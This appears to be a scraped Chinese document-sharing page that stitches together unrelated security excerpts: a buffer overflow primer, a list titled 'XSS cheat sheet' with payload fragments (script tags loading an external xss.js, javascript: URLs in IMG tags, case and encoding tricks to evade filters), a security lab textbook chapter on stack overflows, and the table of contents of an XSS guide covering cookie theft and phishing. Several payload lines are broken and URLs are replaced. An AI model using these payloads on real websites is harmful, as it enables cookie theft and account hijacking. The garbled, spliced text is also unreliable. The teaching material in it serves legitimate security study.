1 引言 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上。在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,而缓冲区溢出中,最为危险的是堆栈溢出。(操作系统所使用的缓冲区又被称为"堆栈".。在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。)本文详细分析了缓冲区溢出的原理,描述了利用缓冲区溢出漏洞进行系统攻击的一般过程,最后简单讨论了几种缓冲区溢出的保护方法。 2 基本原理分析 缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。 缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。 现在存在的主要的缓冲区溢出攻击有格式化串缓冲区溢出攻击,堆栈缓冲区(Buffer)溢出攻击和HEAP/BSS的缓冲区溢出。

脚本攻击大全xss

https://www.doczj.com/doc/2317982364.html, -https://www.doczj.com/doc/2317982364.html,/articles/hacker/base/2011/0401/13846.html xss跨站脚本攻击大全 (1)普通的XSS JavaScript注入 SCRIPT SRC=https://www.doczj.com/doc/2317982364.html,/XSS/xss.js/SCRIPT (2)IMG标签XSS使用JavaScript命令 SCRIPT SRC=https://www.doczj.com/doc/2317982364.html,/XSS/xss.js/SCRIPT (3)IMG标签无分号无引号 IMG SRC=javascript:alert(XSS) (4)IMG标签大小写不敏感 IMG SRC=JaVaScRiP (1)普通的XSS JavaScript注入 (2)IMG标签XSS使用JavaScript命令 (3)IMG标签无分号无引号 (4)IMG标签大小写不敏感 (5)HTML编码(必须有分号) (6)修正缺陷IMG标签 ”> (7)formCharCode标签(计算器) (8)UTF-8的Unicode编码(计算器) (9)7位的UTF-8的Unicode编码是没有分号的(计算器) (10)十六进制编码也是没有分号(计算器) (11)嵌入式标签,将Javascript分开 (12)嵌入式编码标签,将Javascript分开 (13)嵌入式换行符 (14)嵌入式回车 (15)嵌入式多行注入JavaScript,这是XSS极端的例子

缓冲区溢出

第4章 缓冲区溢出 内容提要 缓冲区溢出是一种常见的软件漏洞形式,可被用于实现远程植入、本地提权、信息泄露、拒绝服务等攻击目的,具有极大的攻击力和破坏力。学习缓冲区溢出原理和利用有助于巩固自身安全,加强系统防御。本章包含六个实验,涵盖了缓冲区溢出原理和利用两部分内容,前者包括栈溢出、整型溢出、UAF(Use After Free)类型缓冲区溢出实验,后者通过覆盖返回地址、覆盖函数指针和覆盖SHE(Structured Exception Handler)链表实验学习溢出利用技术。 本章重点 y缓冲区溢出原理及实践; y常见缓冲区溢出利用方式及实践。

·52· 网络安全实验教程 4.1 概述 缓冲区一词在软件中指的是用于存储临时数据的区域,一般是一块连续的内存区域,如char Buffer[256]语句就定义了一个256 B的缓冲区。缓冲区的容量是预先设定的,但是如果往里存入的数据大小超过了预设的区域,就会形成所谓的缓冲区溢出。例如,memcpy(Buffer, p, 1024)语句,复制的源字节数为1024 B,已经超过了之前Buffer缓冲区定义的256 B。 由于缓冲区溢出的数据紧随源缓冲区存放,必然会覆盖到相邻的数据,从而产生非预期的后果。从现象上看,溢出可能会导致: (1)应用程序异常; (2)系统服务频繁出错; (3)系统不稳定甚至崩溃。 从后果上看,溢出可能会造成: (1)以匿名身份直接获得系统最高权限; (2)从普通用户提升为管理员用户; (3)远程植入代码执行任意指令; (4)实施远程拒绝服务攻击。 产生缓冲区溢出的原因有很多,如程序员的疏忽大意,C语言等编译器不做越界检查等。学习缓冲区溢出的重点在于掌握溢出原理和溢出利用两方面的内容。 4.2 缓冲区溢出原理及利用 下面介绍缓冲区溢出原理和缓冲区溢出利用两部分内容。 4.2.1 缓冲区溢出原理 栈溢出、整型溢出和UAF(Use After Free)类型缓冲区溢出是缓冲区溢出常见的三种溢出类型,下面分别介绍它们的原理。 1.栈溢出原理 “栈”是一块连续的内存空间,用来保存程序和函数执行过程中的临时数据,这些数据包括局部变量、类、传入/传出参数、返回地址等。栈的操作遵循后入先出(Last In First Out,LIFO)的原则,包括出栈(POP指令)和入栈(PUSH指令)两种。栈的增长方向为从高地址向低地址增长,即新入栈数据存放在比栈内原有数据更低的内存地址,因此其增长方向与内存的增长方向正好相反。 有三个CPU寄存器与栈有关: (1)SP(Stack Pointer,x86指令中为ESP,x64指令中为RSP),即栈顶指针,它随着数据入栈出栈而变化;

跨站脚本攻击XSS攻击与防范指南

跨站脚本攻击XSS攻击与防范指南 文章目录 XSS攻击与防范指南 (1) 第一章、XSS的定义 (1) 第二章、XSS漏洞代码 (1) 第三章、利用XSS盗取cookies. 3 第四章、防范XSS漏洞 (4) 第四章、XSS攻击方法 (4) 第六章、利用Flash进行XSS攻击 (6) 第七章、上传文件进行XSS攻击 (7) 第八章、利用XSS漏洞进行钓鱼 (7) 第一章、XSS的定义 从Wikipedia搜索跨站脚本,解释到跨区脚本(Cross-zone Scripting或者Cross Site Scripting)是指浏览器利用浏览器一些有漏洞的安全解决方案,这种攻击使没有权限跨站脚本在未经授权的情况下以较高的权限去执行,脚本的执行权限被客户端(Web浏览器)扩大升级了。 这些XSS跨站脚本漏洞可能是: *网页浏览器设计缺陷使得在一定的条件下,一个站点完全信任另外一个高权限的站点(或者连个高低权限区域)并去执行高权限站点的脚本。 *网页浏览器配置错误,把不安全的网站放在浏览器高信任列表。 *信任站点(特权区域)存在跨站脚本漏洞 一般的跨站脚本攻击包含两个步骤。首先是利用跨站脚本漏洞以一个特权模式去执行攻击者构造的脚本,然后利用不安全的ActiveX控件执行恶意的行为。通常在安静模式让计算机浏览攻击者指定的网页悄悄下载安装各种恶意代码,如间谍软件、木马软件、蠕虫等。 第二章、XSS漏洞代码 打开记事本,复制下面的代码到几时本中: